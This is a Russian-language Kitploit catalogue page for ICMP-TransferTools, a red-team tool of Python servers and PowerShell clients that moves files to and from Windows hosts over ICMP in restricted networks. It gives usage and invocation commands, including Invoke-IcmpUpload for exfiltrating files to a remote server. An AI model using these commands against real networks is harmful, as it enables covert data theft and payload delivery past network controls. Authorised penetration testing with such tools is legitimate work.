Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
ICMP-TransferTools — Передача файлов на Windows-хост и с него через ICMP в ограниченных сетевых средах. | Kitploit
Инструменты/GitHubGitHub/icyguider/icmp-transfertools
Эксфильтрация данныхСетевая безопасностьТестирование на ПроникновениеRed Teaming
GitHubicyguider/icmp-transfertools

ICMP-TransferTools

Передача файлов на Windows-хост и с него через ICMP в ограниченных сетевых средах.

Репозиторий
334664 лет назадПроверено Kitploit

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

ICMP-TransferTools

ICMP-TransferTools — это набор скриптов, предназначенных для перемещения файлов на Windows-хосты и с них в ограниченных сетевых средах. Это реализуется с помощью 4 различных файлов, включающих python-сервер и powershell-клиент для каждого направления передачи (загрузка и выгрузка).

Единственная необходимая зависимость — Impacket для одного из python-скриптов. Его можно установить через pip следующим образом:

root@kitploit:~
pip3 install impacket

Загрузка через ICMP

Входящие скрипты ICMP-SendFile.py и Invoke-IcmpDownload.ps1 могут использоваться для загрузки файла на Windows-хост через ICMP.

Сначала необходимо запустить python-сервер, чтобы подготовить файл для загрузки. Использование скрипта приведено ниже:

root@kitploit:~
usage: ICMP-SendFile.py [-h] [-v] [-b 1000] source destination file

ICYGUIDER'S ICMP FILE DOWNLOAD SERVER

positional arguments:
  source                Public IP address of current host
  destination           Public IP address of destination host
  file                  File to transfer over ICMP

optional arguments:
  -h, --help            show this help message and exit
  -v, --verbose         Verbosely print progress
  -b 1000, --block-size 1000
                        Size of each block (Default: 1000)

После импорта powershell-клиент можно использовать для загрузки подготовленного файла следующим образом:

root@kitploit:~
Invoke-IcmpDownload PublicIPAddressOfServer FileToDownload

Ниже приведена быстрая демонстрация:

Download Demo Gif

Выгрузка через ICMP

Входящие скрипты ICMP-ReceiveFile.py и Invoke-IcmpUpload.ps1 могут использоваться для загрузки/экcфильтрации файла с Windows-хоста через ICMP.

Сначала необходимо запустить python-сервер, чтобы убедиться, что он готов принимать запросы от клиента. Использование скрипта приведено ниже:

root@kitploit:~
usage: ICMP-ReceiveFile.py [-h] src file

ICYGUIDER'S ICMP FILE UPLOAD SERVER

positional arguments:
  src         Public IP Address of client
  file        File to write data to

optional arguments:
  -h, --help  show this help message and exit

После импорта powershell-клиент можно использовать для выгрузки нужного файла следующим образом:

root@kitploit:~
Invoke-IcmpUpload PublicIPAddressOfServer FileToUpload

Ниже приведена быстрая демонстрация:

Upload Demo Gif

Скачать инструмент